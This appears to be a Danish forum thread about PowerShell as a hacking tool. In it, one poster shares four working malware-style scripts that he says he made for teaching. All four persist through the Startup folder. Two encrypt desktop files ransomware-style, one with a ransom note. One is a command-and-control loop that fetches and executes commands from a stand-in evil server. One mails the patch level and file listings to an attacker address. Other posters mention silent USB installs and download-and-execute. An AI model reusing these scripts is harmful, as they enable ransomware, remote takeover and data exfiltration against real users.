Ville sådan set bare starte en diskussion om Powershell som "offensiv værktøj"
Hvor mange af jer bruger powershell som værktøj i hacking relaterede opgaver?

Selv bruger jeg primært i hverdagen til Adminstration og automatisering af diverse opgaver.

Lidt inspiration hvad powershell b.la. kan bruges til:
https://github.com/Hack-with-Github/Windows

Powershell er sindssyg vigtig for hackere, da det gør det nemt at download + execute med fx DuckyScript.

Bruger det ikke selv, da jeg er mere til Ubuntu on Windows eller hvad det nu hedder.

Jeg er frisk på PowerShell

Jeg skal have lavet et eller andet script, som 'silent' installerer noget fra en USB-nøgle.

Opium

Jeg bruger powershell til at løse småopgaver i det daglige på windows. Ligesom alm shellscript på linux.
Jeg har haft lavet nogle super primitive "malware" eksempler, for at vise studerende hvor simpelt det er at skabe noget farligt. Jeg kopierer det ind her under. Men altså, der er ikke noget vildt i det, det er helt basic, og sikkert noget værre slamkode hvis man er en haj til powershell.


Eksempel der krypterer wordfiler på skrivebordet, via words egen krypteringsfunktion:

Citer:$startup = [environment]::getfolderpath("Startup")
Copy-Item $MyInvocation.MyCommand $startup

$passwd="MINHEMLIGKODE"
$read_path = "[System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop)"
$write_path = "[System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop)"
$WordObj = New-Object -ComObject Word.Application
foreach ($file in Get-ChildItem $read_path -Filter *.docx)
{
   $WordObj.Visible = $false
   $WordDoc = $WordObj.Documents.Open($file.FullName, $null, $false, $null, $passwd, $passwd)
   $WordDoc.Activate()
   $WordDoc.Password=$passwd
   $WordDoc.SaveAs($write_path+$file.name,24)
   $WordDoc.Close()
}
$WordObj.Application.Quit()

New-Item -Path '[System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop)\DINEDATAERKRYPTEREDE.txt' -ItemType File
Add-Content '[System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop)\DINEDATAERKRYPTEREDE.txt' "Vigtig information: Dine Worddokumenter på Skrivebordet er nu krypterede, øv bøv."

Simpelt script der ligger og henter kommandoer på en C&C-server og kører dem

Citer:$startup = [environment]::getfolderpath("Startup")
Copy-Item $MyInvocation.MyCommand $startup

    Write-Host "Jeg henter lige en kommando fra en ond server paa interwebs,"
    Write-Host " og eksekverer kommandoen,"
    Write-Host " og venter i et par sekunder,"
    Write-Host " og goer det samme igen..."

while(1)
{
    $result = Invoke-WebRequest -Uri "https://myevilserver.ru/command"
    Invoke-Expression $result  
    Start-Sleep 5
}

Andet simpelt eksempel på at kryptere filer på skrivebordet, via windows' indbyggede cryptoservice

Citer:$startup = [environment]::getfolderpath("Startup")
Copy-Item $MyInvocation.MyCommand $startup

Get-ChildItem "[System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop)" -Filter * | 
Foreach-Object {
    $originalFile = $_.FullName
    $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
    $inputStream = New-Object System.IO.FileStream($originalFile, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
    $outputStream = New-Object System.IO.FileStream("$originalFile+.encrypted", [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write)
    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outputStream, $aes.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
    $buffer = New-Object byte[](256)
    while (($read = $inputStream.Read($buffer, 0, $buffer.Length)) -gt 0)
        {
            $cryptoStream.Write($buffer, 0, $read)
        }
    $_.attributes = "Hidden"

    }

Her er et eksempel på at sende emails ud, f.eks. en liste over patchlevel på maskinen, og en liste over filer på desktop:

Citer:$startup = [environment]::getfolderpath("Startup")
Copy-Item $MyInvocation.MyCommand $startup

$Outlook = New-Object -ComObject Outlook.Application 
$Mail = $Outlook.CreateItem(0) 
$Mail.To = "minhackermail@mail.ru" 
$Mail.Subject = "Her er liste over patchlevel:" 
$Mail.Body = Get-Hotfix
$Mail.Send() 
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null

$Outlook = New-Object -ComObject Outlook.Application 
$Mail = $Outlook.CreateItem(0) 
$Mail.To = "minhackermail@mail.ru" 
$Mail.Subject = "Her er liste over filer paa desktop:" 
$Mail.Body = Get-ChildItem -Path [System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Desktop) -Force -Recurse
$Mail.Send() 
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null